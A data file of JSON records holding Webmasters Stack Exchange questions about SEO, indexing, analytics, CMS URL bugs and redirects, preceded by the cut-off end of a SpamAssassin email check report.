header.From=myemail@gmail.com Selector=20120113 domain=gmail.com DomainKeys DNS Record=20120113._domainkey.gmail.com ---------------------------------------------------------- SpamAssassin check details: ---------------------------------------------------------- SpamAssassin v3.3.1 (2010-03-19) Result: ham (non-spam) (0-1.1points, 10.0 required) pts rule name description ---- ---------------------- ------------------------------- * 0.0 FREEMAIL_FROM Sender email is freemail (myemail[at]gmail.com) * -0.0 SPF_PASS SPF: sender matches SPF record * 0.1 HTML_MESSAGE BODY: HTML included in message * 0.0 BAYES_50 BODY: Bayes spam probability is 40 to 60% * [score: 0.5000] * -0.1 DKIM_VALID_AU Message has a valid DKIM or DK signature from author's * domain * -0.0 DKIM_VERIFIED DKIM_VERIFIED * 0.0 DKIM_SIGNED Message has a DKIM or DK signature, not necessarily * valid * -0.1 DKIM_VALID Message has at least one valid DKIM or DK signature * -1.0 RCVD_IN_DNSWL_LOW RBL: Sender listed at http:\/\/www.dnswl.org\/, low * trust * [209.85.214.48 listed in list.dnswl.org] * 0.0 T_TO_NO_BRKTS_FREEMAIL T_TO_NO_BRKTS_FREEMAIL X-Spam-Status: Yes, hits=-1.1 required=-20.0 tests=BAYES_50,DKIM_SIGNED, DKIM_VALID,DKIM_VALID_AU,DKIM_VERIFIED,FREEMAIL_FROM,HTML_MESSAGE, RCVD_IN_DNSWL_LOW,SPF_PASS,T_TO_NO_BRKTS_FREEMAIL autolearn=no version=3.3.1 X-Spam-Score: -1.1 To learn more about the terms used in the SpamAssassin report, please search here: http:\/\/wiki.apache.org\/spamassassin\/"}
{"id":"60833","title":"Google is changing my urls in search results - Joomla3 bug","text":"My urls is something like escene.ir\/component\/products\/تلفن-های-تحت-شبکه-مدیریتی\/Escene-ES620-PEN-IP- Phone?task=view.12 but when I try to search **site:escene.ir** to see the whole links of my site, the urls are like **escene.ir\/component\/products?task=view.12** There is no link like the second one in my site, And yes, I submitted a site map and there is no link like the second one in my site map, too .any idea ?? * I'm using Joomla! 3 * * * ## Update : this is a bug in Joomla! 3 and has not been fixed yet. look at the **@isNaN 's answer**, and this discussion : **Joomla 3 and canonical URL**"}
{"id":"26672","title":"Google Analytics usage disclosure in privacy policy","text":"This \"Google Privacy Center\" states that: > All website owners using Google Analytics are required to have a privacy > policy that fully discloses the use of Google Analytics. At the Google Analytics TOS, there doesn't seem to be this requirement. Am I missing something?"}
{"id":"43801","title":"Are there any possible pitfalls\/issues that can arise from URL rewrites?","text":"I'm in the process of move a website for a client, utilizing a new theme. Usually this is straightforward enough but some of the base _category_ URLs they use are mess and they would also like to be able to change some of the names of those categories also. I know fixing\/changing these URLs can be accomplished using a 301 rewrite but I am wondering if there is a possibility of any issues arising from doing so. The client is overly anxious about broken links and loss of ranking and I want to put my own mind at peace about the changes (granted I know that modifying URLs may affect ranking). Also part of the change will be setting the site with a prefix of `www` - I'm assuming the same concerns apply."}
{"id":"25744","title":"Google Adwords and MCC account issue","text":"I have a Google account for ages and I used it for Adwords. But Now I have to logout and log back in with a different account for another Adwords campaign group so my personal account has a canceled Adwords account. I tried to link my personal Google account to the active Adwords account, but that is not allowed because my personal account is still linked to an (inactive) Adwords account. Now I have searched the newsgroups from Google for this and found a solution. Go to Google account settings, products and hit 'edit' but there is no option to permanently delete the inactive Adwords account. All other solutions include a new Google account, but I use the Google account for to much to give up. please forgive me if this is not the correct SE website to ask."}
{"id":"43772","title":"Google Cache CSS and HTML files are out-of-sync","text":"I am monitoring the cached version of the main page of one of my sites. I have noticed something strange. Obviously, the cached pages is displayed with the latest CSS file. Yet, the page content is quite oudated. How come? Is there anything I can do about it or should I just wait?"}
{"id":"49518","title":"How to access a website hosted on a shared server (and IP), when its domain is not working?","text":"I'm trying to find out alternative ways to access a website (not mine), which has temporarily lost its domain name due to it expiring. The site owner didn't realise the domain would expire and it has expired. However, I DO know that the site is still running just fine - I just need a way to access it other than via its domain. But this website happens to NOT be the only site on its (hosting provider's) server IP address. Entering in its IP address will not point to the site I want to access. I do know, that if a given website happens to be the subdomain for ANOTHER domain, you can try and use online tools to find a 'naked' subdomain url that the owner has specified for the site in question. (e.g. `siteiwanttoaccess.someotherparentsite.com`) But the site I want to access, is not a subdomain, it's a parent domain. On shared IP address hosting. The only other way I know of accessing a site other than via its 'given' domain, any alternative domains pointing to the same site (which you just happen to know or discover via domain research), or a 'naked' subdomain if it turns out to be such, is via THIS type of URL, which the hosting provider gives the siteowner at the beginning for use use until their intended domain's DNS propagates: `http:\/\/ser.ver.ip4.addy\/~hostingaccountusername\/` Is this url type above the only other way to access a parent domain's site? And if you don't know what this is, (because you are not the siteowner) is there any way, apart from brute-force attack, to figure out what this 'raw' server IP site URL is? You can always figure out the server IP bit, just not the bit after that pertains to their cpanel\/webhosting account username. Are we reduced to guessing or brute-forcing this, or are there tools that can shed some light on finding out this 'raw' URL address?"}
{"id":"21660","title":"2 domains SEO link building","text":"I have 2 domains: `www.my-domain.co` and `www.mydomain.us`. Both are pointing for the same server, for example if you run `www.my- domain.co\/file.html`, it's the same with `www.mydomain.us\/file.html`. Now ... I began the SEO for `www.my-domain.co`, submitted in Webmaster Tools, sitemap, links etc. I supposed `www.my-domain.co` will rank good for _my domain_ keywords. After 1 year I change the domain from Webmaster Tools to `www.mydomain.us` which has no links pointed to him, and now the question come: If I begin the link building (dofollow blogs, formus, link directories etc.) once more on `www.mydomain.us` it will get double link juice?"}
{"id":"21842","title":"Should we follow the schema.org paths?","text":"schema.org seems to enable us to provide metadata for some search engines including Google and Bing so that our pages will display nicely on the web. My question is should we follow the schema.org and implement the stuff they are introducing? It looks very reliable and it will last longer than the individual stuff that every single SE is implementing. What do you think?"}
{"id":"69029","title":"How to track Campaigns in Google Analytics without using UTM parameters?","text":"Showing UTMs when linking from one site you own to another is kind of like wearing open-toed shoes at work: it's unseemly and unprofessional. But it's effective. Traffic spills nicely into Google Analytics with each parameter (source, medium, campaign, content) easily sortable & filterable in a single view. I assume there is another way to do this: to somehow obfuscate the campaign parameters so that Google Analytics reads, ie: `http:\/\/foo.com\/fudge?=xyz` as `http:\/\/foo.com\/fudge?utm_source=sitex.com&utm_medium=social&utm_campaign=social- explosion` Can this be done in the GA admin panel? Is there another way?"}
{"id":"60124","title":"How spam comment affect my blog and website rank?","text":"I have already read many articles on how I can detect spam comments and prevent spamming. But still I'm not satisfying with it, I just want to know how a spam comment can affect my blog and website rank."}
{"id":"3671","title":"input content in FF & Opera","text":"i got a \"register user to website\" form on my site. It looks fine in all browsers except Opera and FF.. i tryed to show pics through html so you can see what I mean, but i cant without 10 posts, and i can only post one link, so.. here is the one pic and the explanation -> http:\/\/img183.imageshack.us\/img183\/4903\/45825110.jpg notice the vertical spacing between the input boxes... how do I make it look the same in all the browsers? thanks in advance for the anwsers.. Andrej btw: i did't use any css resets on my page.."}
{"id":"3675","title":"Free Invisible image counter in the html page","text":"I need to track number of visits of my publication, but site allows only to insert images, and no javascript. I would like to insert white 1x1 pixel image. Are the any internet services which provide such functionality and count number of visits via such approach? P.S. I am not sure that this site is correct place to ask my question. In such case I will be very appreciate if you direct me to right location"}
{"id":"2547","title":"Many Stack Overflow users' pages have no Google PageRank and they are not indexed, why?","text":"If you go to my user page on Stack Overflow and you check it with the Google Toolbar, you can see it has no PageRank at all (this does happen for almost any user page, even people with much higher reputation, the only exceptions seem to be the users in page 1, and some other users they have PR). **My user page's Page Rank is not only zero, but not calculated at all.** When PR is 0 or less than 1, but calculated the Google bar shows white, but when the PR is not even calculated like in my user page the Google bar shows in grey.  I further more discovered that **my user page is NOT EVEN INDEXED on Google** , simple test is searching on Google for the exact page url: \"http:\/\/stackoverflow.com\/users\/260080\/marco-demaio\" and you will see no result. The question is **how can this be??? This is really weird to me because of the following reason:** If you search on Google for \"Marco Demaio\" on Stack Overflow only (you can do this by searching \"site:stackoverflow.com Marco Demaio\") the search result shows hundreds of 'asking\/answering questions' pages where I was 'tagged'!!! Let's check one of these: the 1st one that appears now (shows one of the question I asked). We can be sure this page is indexed in Google because comes out in a search. Moreover, its PR is calculated. It's probably nearly zero. Still, **some PR flows there** , **the PR bar is not grey, but white** :  The page shown above has got links to my own user page. I checked the source code of the page shown above and the links are not **hidden or set with a rel=\"nofollow\"** , moreover I can't see any meta character excluding the links on the page from being followed. **So what's happening? Why Google does not seemy user page at all.** **Did Stack Overflow do something to achieve this? If yes what did they do?** Any explanation really appreciates (as always). P.S. obviously I checked also the code of my user page, but I could not find meta tags excluding Google search for the page. P.S. 2 in a desperate adventure I also checked Stack Overflow's robots.txt but it does not seem to exclude user pages. * * * **UPDATE 1** following up on some answers, I did some more research. Excluding for a while the PR problem (since PR is not science), and looking only at the **user page on Stack Overflow NOT BEING INDEXED problem** : **pages do not seem to be indexed by Google because of the user reputation** , this user for instance has got NOW 200 points less reputation than me and his page is indexed (while mine not). **It does not seem even to be connected with months you have been on Stack Overflow** , this user (almost my same reputation) has been there for 3 months only and his page is indexed (while mine not and I have been a user for 7 months). It's bizarre! * * * **UPDATE February\/2011** As of today, the page got indexed by Google at least when you search for \"site:stackoverflow.com Marco Demaio\" it's the 1st page. The amazing thing is that it has still got NO PageRank at all: Google toolbar states loud and clear \"No PageRank information available\". It's odd!"}
{"id":"64998","title":"Can I split a $50 coupon from Google Adwords across multiple campaigns?","text":"I'm receiving free coupons for Google Adwords Can I split the $50 into $10 for each website running campaigns? Is this possible?"}
{"id":"64997","title":"Are new gTLDs negatively effected in SEO?","text":"I have done my research, mainly using this as a source, and I have come to understand that there are certain aspects that can cause newer gTLDs, just by the indication that many of the newer gTLDs, such as `.directory`, will increase the total length of the full domain, therefore having a negative impact. Are there other reasons why sites with newer gTLDs may rank lower? I understand that there is no set timeframe for search engines to add a new TLD to their search results (however it is assumed to be very short) from this post, but would certain factors such as time since a gTLD has been implemented (the older the TLD possibly the more reliable\/stable it is assumed to be) have any effect on SEO?"}
{"id":"64996","title":"Search for my web site returns HTTPS results","text":"My home page is set to Google and Google adds `?gws_rd=ssl` to it. When I type search term form my site into search box Google returns bunch of indexes (different pages within my site) that starts with HTTPS. Obviously when user clicks on any of those it will get disturbing warning that site is not secure. Now when my home page is set to `https:\/\/google.com` and I type my search terms into search box Google returns proper results. My site has about 20 pages and all of them are simple HTML pages: All of them contain `a href` to each others using relative path. Now one my pages links to `https:\/\/othersite.example.com` and it is references trough the other 20 pages using absolute path. What should I do to solve this search results. Should I use canonical in the head of the document for each of the 20 pages? By using Google Search `https...` I learned that couple Facebook pages (posts) refer to my site wrongly by using HTTPS instead of HTTP. Could these couple links referencing HTTPS be the cause of this?"}
{"id":"26092","title":"Strategy to prevent spammers from taking advantage of \"Invite by email\" feature?","text":"We are developing a web application, and we would like to make it very easy and effective for our users to invite their friends, family and colleagues to view and interact with their content on the application. _**Invite your friends by email_** We are considering the standard form where the user inputs a series of comma- separated email addresses These addresses would receive an email from our service, containing customized links to the content, etc. Our concern is that spammers (bots and\/or humans - i.e. captcha isn't sufficient) may create marketing content on our website, and take advantage of the email invite feature to distribute unsolicited content. This could result in users reporting these emails as spam, potentially compromising our ability to reach out to users. **Possible solutions we've considered:** * Requiring users to enter their email address & password, then fetching their contacts, and delivering the emails from that user's account via SMTP. * Emphasizing social media channels as a delivery method instead. The problem with the first of these is that users may be less than eager to offer their email credentials. We consistently find examples of websites which offer the same function outlined above: specify arbitrary email addresses, and we'll send them an email. Is there a way to do this safely & effectively? P.S. Moderating usage of the feature is not feasible (administrative approval of outgoing requests). There is no way to distinguish between legitimate & illegitimate usage."}
{"id":"26093","title":"Joomla sometimes messes up URLs, probably cache involved","text":"Every once in while my Joomla site messes up link's URLs. For example, something like this: http:\/\/www.sism.org\/index.php?option=com_comprofiler&task=userslist&listid=4&Itemid=123 Become like this: http:\/\/www.sism.org\/index.php\/component\/k2\/administrator\/components\/com_dump\/assets\/css\/images\/stories\/inrilievo\/sism\/htm\/index.php?option=com_comprofiler&task=userslist&listid=4&Itemid=123 The new page has the right content but there's no CSS or other linked resources. Usually I solve the problem by deleting all the cache and turning it off and on again, which is pretty annoying. Watching the URLs the components involved seem to be K2 and Jdump. Does any one have any clue on this?"}
{"id":"26090","title":"Need a table that can sort, lock","text":"I need table that will be able to: 1. sort 2. lock columns 3. lock the header row 4. resize columns 5. scroll 6. if possible can add\/remove columns. Was hoping to able to do this with jquery \/ html5 and have all data client side - so no server requests. I have tried: 1. http:\/\/www.datatables.net\/ has no locking, resizing of columns 2. http:\/\/tablesorter.com\/docs\/ similarly has no locking, resizing of columns."}
{"id":"43118","title":"How to safely saving users' data and NOT get responsibility of users' data?","text":"I am programming a website which will save up users' inputs for their next visits. For example, I might save their phone numbers. The user will know that I save their phone numbers. However, do I need to get responsibility if some hackers get into my database to steal the users' information? Moreover, how to make sure the data are safe. Thanks"}
{"id":"63390","title":"How to tell Google and Bing to come and re-crawl sitemap","text":"I'm new in SEO, I have a web application can let user post their own page. I have use PHP to update _sitemap.xml_ (daily.) How often do Google and Bing come back to crawl my sitemap? Do I need to do any setting in webmaster tool? How can I tell Google and Bing to come back and crawl my sitemap?"}
{"id":"57208","title":"Should I Disavow irrelevant links targeting my blog through Google Webmaster Tools?","text":"I commented on a blog, and after some days I checked my Google Webmaster Tools and I found an issue which is similar to ReplytoCom ( Reply to comment ), that means I am not only getting one nofollow link to my blog but accompanied with 35 more irrelevant links. Should I Disvow those 35 links as it may be SPAM in the eyes of Google? "}
{"id":"43113","title":"Wordpress Ecommerce plugin for handling multiple option groups & prices","text":"I've been searching for a couple of hours for a wordpress ecommerce plugin that will handle products with multiple option groups but am yet to find anything that fits the bill. Basically, a product should have a base price and you should be able to specify multiple different attributes with associated prices. ie: Garden Shed - base price £100 Wood types beech +0.00 pine +40.00 Roof Type Canvas + 0.00 Tile + 50.00 Front Porch No + 0.00 Yes + 45.00 etc etc Does anyone know of a plugin which will fit this bill? I've looked at thecartpress's dynamic options plugin and this only seems to allow combinations of options. ie beech + canvas + front porch = +45 or pine + tile + no porch = 90 etc Thanks"}
{"id":"33640","title":"New site not appearing in index after change of address, no feedback from google webmaster tools","text":"Our change of address seems to not be taking effect. Here's the story so far: We're a web company and our product is called The New Hive. Our site used to be at **thenewhive.com** , but we decided to switch to **newhive.com** (drop the \"the\", it's cleaner). So the timeline of what I've tried, starting on July 29th: * used 301 redirects for all pages (e.g. thenewhive.com\/tag\/art => newhive.com\/tag\/art) At this point we noticed that we had disappeared from search results when searching \"The New Hive\", the front page used to be all links to our site plus a couple news articles about the company. So on August 5th I: * verified new domain in webmaster tools (old domain was already verified) * submitted a change of address request on August 5th with Webmaster Tools \/ Configuration \/ Change of Address Then after another week, on August 13th I did this: * Went to Webmaster Tools \/ Health \/ Fetch as google * fetched our homepage and a couple sub pages, all successfully * clicked \"Submit to Index\" for homepage As of today (August 23rd) we're still not showing up in the index. We're getting no warnings or feedback of any kind from the dashboard so I'm inclined to think something's broken with the dashboard rather than that something's wrong with our site from an SEO perspective. From the dashboard: > No new messages or recent critical issues. > > Crawl Errors: No data available. From Health -> Index Status: > Total indexed 0 > > Ever crawled 42,490 > > Not selected 12 > > Blocked by robots 0 I'm really at a loss here, any help would be appreciated."}
{"id":"57200","title":"Our company's white label site was removed from Google's search index, would canonicalization help?","text":"I recently started working for a new company and they have a lot of white label sites. Just last week I checked Google Webmaster Tools for one of our bigger in-house white label sites (one we personally run) and discovered that Google removed it from the index, though we never got a message in Webmaster Tools. I also performed a site:operator search just to be sure and it definitely isn't listed anymore. Finding out a little bit more about the site, I discovered it was changed to pretty much be an exact match of our main site and that it used to have canonical tags but they were removed. Not sure why. I don't have a lot of experience with white labels, so I guess this is more of a general help question, though I was specifically wondering if putting back the canonical tags that were previously removed would be enough."}
{"id":"3581","title":"Google is giving a \"Malware Warning\" on my site, but why?","text":"I've inherited the development of a site that I designed but did not build - actually two sites. `http:\/\/kenbrook.org` and `http:\/\/kenbrookyouth.com` (same site also via `http:\/\/youth.kenbrook.org`). So recently kenbrook.org started displaying a red warning page when entering the site via Google's Chrome browser that said the site contained either malware or links to a site with known malware. After some research and help from other StackExchange users on this post, I discovered there was an added piece in one of my javascripts that was the issue. I don't even know how the script additions got there, or what they were really linking to, but I removed them and all was well (again, I didn't build that site so I'm not even familiar much with the scripts yet). But now the same Google warning is appearing for kenbrookyouth.com (youth.kenbrook.org) and I'm not sure where to start with looking for the problem. Any tips? And no, I don't think the same script that was vulnerable on the other site even exists on this site."}
{"id":"50383","title":"Optimized rate of frequency of changing title and description\/keywords meta-tag?","text":"OK we can change the content at any frequency. But what about `<title>`, description-meta tag, keywords meta tag. I think if we change title, description, keywords of any website daily, then that may affect page ranking. What is the real fact? What is the minimum and maximum rate of frequency to change these items? Legal practice may different from successful practice. Please explain me. NOTE: If this type of question answered before, then mention the link and please don't close or ban the question."}
{"id":"25906","title":"Is it possible to check the case on Apache redirects or aliases?","text":"I have a big website (15,000 pages) with a log list of redirects (about 800) that have been used in marketing pieces for years. My Apache server has been running mod_rewrite for the past 10 years or so to force all requests to lower case. So a user could put in \/CamelCase and Apache would read it as \/camelcase and my corresponding redirect would work. I'm switching over my site to Drupal at the end of the month and the server needs to become case sensitive. I assumed that I could use mod_spelling on my list of redirects so people could continue to type in a URL however they choose and it would continue to work. Mod_spellin, however, does not scan through the list of redirects so it does not work. I have enough staff to have them go through the list of redirects and add in any case-sensitive variants but this would make my already large listing of redirects grow by 2 to 4 times. Hopefully I don't have to go down that route. I thought there might be a way to use mod_rewrite to test different cases on redirects but I can't get anything to work. So, does anyone have ideas?"}
{"id":"17138","title":"How to Fix this specific Google \"Fetch as Googlebot\" error appearing on my Webmaster Tools?","text":"Good day, I'm currently finding out why I have lost all of my website's rank in google. I don't even appear in google results by the domain. But other sites do link me and they appear in the google results. I think it's all about leaving my site two months alone and finding out I had 20k in comment spam, which I completely deleted and fixed with filters and adding a new Disqus comment service. Thing is, I added my site to Google Webmaster Tools and I'm finding out several awful things. For example, when I click in Google Fetch As GoogleBot. I receive this error message below in response to my request. And I don't even know what's the real problem and how to fix it. I simply don't get it. This is what appears: > Date: Wednesday, July 20, 2011 9:43:35 AM PDT > > Googlebot Type: Web > > Download Time (in milliseconds): 55 > > HTTP\/1.1 403 Forbidden Date: Wed, 20 Jul 2011 16:43:36 GMT Server: Apache > Vary: Accept-Encoding Content-Encoding: gzip Content-Length: 248 Keep-Alive: > timeout=2, max=100 Connection: Keep-Alive Content-Type: text\/html; > charset=iso-8859-1 > > 403 Forbidden > > # Forbidden > > You don't have permission to access \/ on this server. > > Additionally, a 403 Forbidden error was encountered while trying to use an > ErrorDocument to handle the request. Do you guys know anything about this problem ? I need to have Google crawl my site again. I used to have a really nice google result in the past three years. Now, there's nothing. thanks,"}
{"id":"17429","title":"Redirect directory URL to instead have .html suffix","text":"htaccess redirect (301) all my old content from my WordPress to my new URL design. I want to redirect all the last trailing slashes to .html ... the permalinks are already working, but I don't want to lose all my collected backlinks for which I worked so hard. This is how my URLs look like: * Pages (old): `\/pages\/redirection\/` should redirect to `\/pages\/redirection.html` * Posts (old): `\/new-permalink\/` should redirect to `\/news\/new-permalink.html` * Custom Posts `\/permalink\/` should redirect to `\/projects\/permalink.html` The following rewrite rule does not work for me. It ignores my rewritebase, so it redirects `\/projects\/permalink\/` to `\/permalink.html` not to `\/projects\/permalink.html`. RewriteEngine On Options +FollowSymLinks RewriteBase \/project\/ RewriteRule ^index\\.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . \/project\/index.php [L] RewriteRule \/project\/([^\/]*)\/?$ \/project\/$1.html [L]"}
{"id":"17423","title":"Google analytics giving data for pages that dont' exist","text":"We switched from a PHP application to a Rails application last week. I ran daily reports and everything looked fine. When I ran a weekly content report it gave me data for index.php which doesnt exist anymore. The funny thing is that is looks spot on for page views. This also made me wonder how analytics would record \"\/\" in a Rails app. I ran it through Fiddler, there is no redirect just a 404. I view source on the 404 and there is no tracking code. I am pretty baffled. Anyone know what could be going on ?"}
{"id":"17422","title":"I can see traffic coming from google ads, even though I don't have any google ads running, how is that possible?","text":"I can see \"googleads.g.doubleclick.net\/pagead\/ads....\" as a referrer on my website. However I am not running any google ads. So how am I getting the traffic? Here's the complete URL http:\/\/googleads.g.doubleclick.net\/pagead\/ads?output=html&h=250&slotname=5275434421&w=300&lmt=1311690266&flash=10.1.102&url=http%3A%2F%2Fwww.humbug.in%2Fsuperuser%2Fes%2Fpromiscuous- modo-con-intel-centrino-adelantado-n-6200-agn-tarjeta-inalambrica-- 214946.html&dt=1311690268347&bpp=3&shv=r20110713&jsv=r20110719&prev_slotnames=7553874535%2C5896307875%2C8590890981&correlator=1311690268052&frm=4&adk=3153418812&ga_vid=1396001617.1311690268&ga_sid=1311690268&ga_hid=558368546&ga_fc=1&u_tz=-180&u_his=1&u_java=0&u_h=1024&u_w=1280&u_ah=960&u_aw=1280&u_cd=24&u_nplug=6&u_nmime=22&biw=1263&bih=851&fu=0&ifi=4&dtd=441&xpc=T5MgG9EVV9&p=http%3A%2F%2Fwww.humbug.in"}
{"id":"17137","title":"How exactly is Google Webmaster Tools measuring \"Site Performance\"?","text":"I've been working for two months now on improving our response time (mainly server side) on a new forum (a brand new product on a technical point of view) we've launched in Germany a few month ago and I'm a lot surprised by the results I get. I monitor our response time using Apache logs and our own implementation of Boomerang beacon. Using my stats, I can see that our new product responds in about 680 ms where our old product was responding in about 1050 ms. On the other side, Google Webmaster Tool tells us that our pages have an average response time of about 1500 ms today where it was 700 three months ago with our old product. I've figured that GWT was taking client side metrics into account so I've added some measures on our Boomerang beacon and everything looks just fine. I've also ran some random pages on ySlow and Google's Page Speed and everything looks better than it was before. We event have a 82% on Google's Page Speed tool which is quite cool for a site with some ads in it :) Lately, we have signed a deal with Akamai to use two of their products : CDN for our static files (we were using another CDN before but it wasn't very effective) and RMA to improve Networks routes. We have also introduced a new aggressive cache mechanism to ensure that most of the pages served to crawlers are cached by our memcache grid. After checking my metrics, it seems that this changes have improved from 650ms to about 500ms, which is good (still not great but it is definitely an improvement). But webmaster tools continues to report an increasing average response time where we see it decreasing in the same time. Have you ever had the same kind of weird behavior on your sites while doing performance improvements ? Do you have any idea how to monitor the same thing Google does with Site Performance in Google Webmaster Tools so that we could improve our site and constantly check if it is what Google wants ? **Edit 2011\/07\/26** : Thanks for your answers guys ! Nevertheless, I was not precise enough. The main issue we have is not with the Site Performance page but with the Crawl Stats one for now. We probably found an issue on our side with some very slow pages (around 3000 ms !!) and we are trying to fix them. I'll keep you posted as soon I'll have some infos. Thanks again !"}
{"id":"13333","title":"Does htpasswd authentication prevent Google from crawling my site?","text":"I have a site that I want to continue testing before I make public, so I don't want Google to start crawling the site as there will be a large amount of garbage content during testing. I currently have authentication set up using htpasswd, will this prevent site crawlers or robots from crawling my site?"}
{"id":"60433","title":"Canonical URLs for local versions of a webpage?","text":"I'm currently looking to grow traffic on a consumer-facing reviews site (Like Yelp, but for the security industry). One strategy we are pursuing is to provide localized content based on the zip code or city that the user searches with on Google. In essence, we want to create separate versions of each company profile page for each area that the company serves to drive targeted, local traffic to the page. An example would be a company with a top-level profile URL of `example.com\/security\/company-a` and a local version of the profile at `example.com\/security\/chicago\/60657\/company-a`. My question is this: Does it make sense to use canonical URLs here? That is, point all local profile URLs back to the top-level profile URL? On one hand, these pages will be largely similar and I want to ensure we are not confusing Google with duplicate content. On the other hand, would using canonicals prevent the local profile webpages from being shown on local Google search queries? As our content grows on the site, I can definitely envision more unique content on each page (i.e. highlighting local reviews for that company) to improve the relevance of the local page. Do you have thoughts as to what to do here? I would be very appreciative for your advice."}
{"id":"4427","title":"Link to another website and track clicks on the link while also keeping the link \"valuable\" from a SEO point of view","text":"I want to build a small directory for programming-related websites only and I'm a little bit confused at the moment. I want to be able to track how many times visitors clicked links to certain websites, but I still want Google to pick-up that link as being towards site X, without losing any SEO value (meaning, for Google, that link still has to look like a clean backlink, not a link to a PHP file that redirects the user to another website). Question is, if I use jQuery to post some data (simply \"link x clicked\") to a PHP script beforethe default behaviour (directing the user to the page), will Google penalize the link or will it still be as valuable as a normal back- link? Thanks all, Claudiu"}
{"id":"4497","title":"addthis button default message","text":"> **Possible Duplicate:** > addthis button default message How to set default message, I am using addthis button for invite a friend Email on a website. that default message should also work if user choose gmail, yahoo etc from addthis box."}
{"id":"4425","title":"Total \/ Lifetime Sales on Magento Dashboard is incorrect","text":"After updating from Magento 1.2 to 1.4 I noticed that the Lifetime Sales amount was incorrect (other sales reports are fine). Even after making a fake order the Lifetime Sales didn't change. I tried refreshing statistics but nothing happened. Searching the web for this problem turned up a lot of people with the same issue but no solutions. Any suggestions?"}
{"id":"53929","title":"Can an indexed page never be returned to any search query?","text":"Assuming Google finds a website with 100 pages and decides to index 80 pages. Does it perform further filtering on these pages or will start matching user queries with all the 80 indexed pages (on the long run)? In other words, is it possible for an indexed page to never be returned to user search queries? Let's assume there is no site wide penalty."}
{"id":"48973","title":"REST webservice full implementation: server + client","text":"I've spent a week reading about RESTful webservice and searching for a fully example to build my project above. When I reach a fully understanding of the REST webservice, I couldn't find any full implementation for it! I was wondering why there's a lack in code samples of this great technique. I want to implement it with PHP and Apache web server and make it fully and has all verbs like this tutorial [part-1][1] , [part-2][2] (see comments for links) saying: > **The Basics of a RESTful Request** > > Every REST request consists of essentially the same basic parts: > > * **The URL** – This is the URL we’ll be making a request against (often > referred to as a resource). > * **The Verb** – GET, POST, PUT, or DELETE… there are some others out > there, but these are the 4 most common ones. > * **The Params** – The parameters we’ll be supplying to the API, often > referred to as the request body. > * **Credentials** – Username and password… we’ll cover HTTP Digest auth > credentials. > > > And, of course, we’ll have a few pieces for our response as well: > > * **The Response Body** – The actual response body the API gave us. > * **The Response Status Code** – The HTTP status code the API responded > with. > * **Other Response Info** – We’ll also have some other interesting info in > the response. > At first I tried this sample , but I found later that it doesn't follow REST standard rules. After digging in the web I found this example but it doesn't give me the server code! Just the client code and processing response. Do you know any common lib for REST that support both server-side and client- side ? with examples and docs? please give me your suggestions , it's urgent ."}
{"id":"8746","title":"AWStats linking URL","text":"I have a site that AWSTATS is saying 5 people clicked to get to my site in my stat report. When I go to that link, I don't see anything referencing my site. Is there somebody hiding my link?"}
{"id":"53927","title":"Add second site through iframe","text":"I have two blogs on Tumblr. Let's call them Pets.Tumblr.com and Cats.Tumblr.com A while ago I decided to make Pets.tumblr.com my main blog, but since Cats.tumblr.com grew more popular, I decided to merge these sites together. What I have done is this: I've created a blank page on pets.tumblr.com\/cats, put a full sized iframe with cats.tumblr.com as source, and a jquery redirect script in cats.tumblr.com that redirects to pets.tumblr.com\/cats I'm wondering if this would impact my site negatively? Will search engines see pets.tumblr.com\/cats as a blank site (iframes are ignored?) and cats.tumblr.com as a spam site because it redirects to a blank one?"}
{"id":"7820","title":"How to make textarea look like notebook?","text":"I want the user to feel like they are writing on notebook paper while inputting into a textarea. How may I do this?"}
{"id":"56606","title":"What causes a profile picture to disappear from author information in Google SERPs?","text":"Does anyone know what causes the exclusion of a profile picture in the authorship information in the Google SERPs? For some reason, my profile picture has disappeared from the author information in the Google SERPs. The 'by author name - in xxx Google+ Circles' is still showing, but without a head-shot. I'm having this issue for all websites I post content on. For some of these websites I claimed authorship using the `rel=\"author\"` attribute, for some of them I did so through email verification. For others I verified authorship by adding `?rel=author` to the Google+ URL. Just to be clear, authorship information is set up correctly for all these sites. I tested the ones that were verified with author markup with the rich snippet testing tool. Also, as mentioned before, the author name is still showing up in the search results and the articles are showing up in the author statistics in Google Webmasters Tools. Everything was still working perfectly a while ago, and I didn't change anything before this issue started. I've searched for a fix, and did find others that have the same issue as of recent, although no solutions yet. Troubleshooting steps I've taken: * Replaced profile picture with a more clear headshot on Google+ * Replaced `<a href=\"https:\/\/plus.google.com\/9999999999\/\" rel=\"author\">Google+<\/a>` with vanity link: `<a href=\"https:\/\/plus.google.com\/+ExampleVanityLink\" rel=\"author\">Google+<\/a>` I have also read somewhere that disappearing author pics could be caused by a lack of activity on Google+. I've however seen profile pictures from other authors appear in SERPs that were way less active on the networking site than I am."}
{"id":"32292","title":"Don't count visitors who go to a certain link using Google Analytics?","text":"I'm trying to make sense of the Google Analytics on my company site. Many of our employees will be visiting the site just to click on the timesheet link, and I want to remove these users from my stats. The issue is that the link is within the site's domain, but is a separate system (not part of the main site's CMS) and so doesn't have the analtyics tracking code in its pages. Visits to this page aren't picked up by Google Analytics as there is no tracking code, and the page isn't seen as an external link as its within the same domain."}
{"id":"58915","title":"Is changing HTML with JavaScript bad for SEO?","text":"Building web apps I don't have to worry so much about SEO for back end things so dynamically changing the HTML isn't an issue. I am using _backbone.js_ with a front end site I'm building and the site is a tour based site, ex several sections within the scroll flow. So when the page loads, I store the original HTML in a variable `origHtml` then set the HTML to change into something like `this.$el.find('.section- one').html('<h1>Welcome<\/h1>');` This is a part of an animation I am working on and then after some animation happens, that block is out of view and I reset that HTML to the original one. It's not absolutely necessary to do it that way, but I like playing with _backbone.js\/javascript_ and am curious if this is a problem. Because I could just create an extra section and `hide`\/`display:none` when appropriate, but I am trying to avoid using `hide`\/`display:none` http:\/\/css-tricks.com\/places- its-tempting-to-use-display-none-but-dont\/ (an article I read a while back). I mean this is just experimenting\/learning for me what is the optimal way to manipulate HTML for front-end websites? P.S.: I understand some people may say you need to provide fallbacks for non JavaScript users, and I say no, anyone who does not have a browser that supports JavaScript or does not have JavaScript enabled should not be on my site, plus that demographic is like under 2% (might be wrong) but it's very low. **Additional:** If this is bad for SEO I think it would still be okay to use `position:absolute` and either set `opacity:0` on the element I want hidden, or use `margin-right: -9999` or even use `display:none` I don't care I just like the JavaScript way but Id like to understand whats best."}
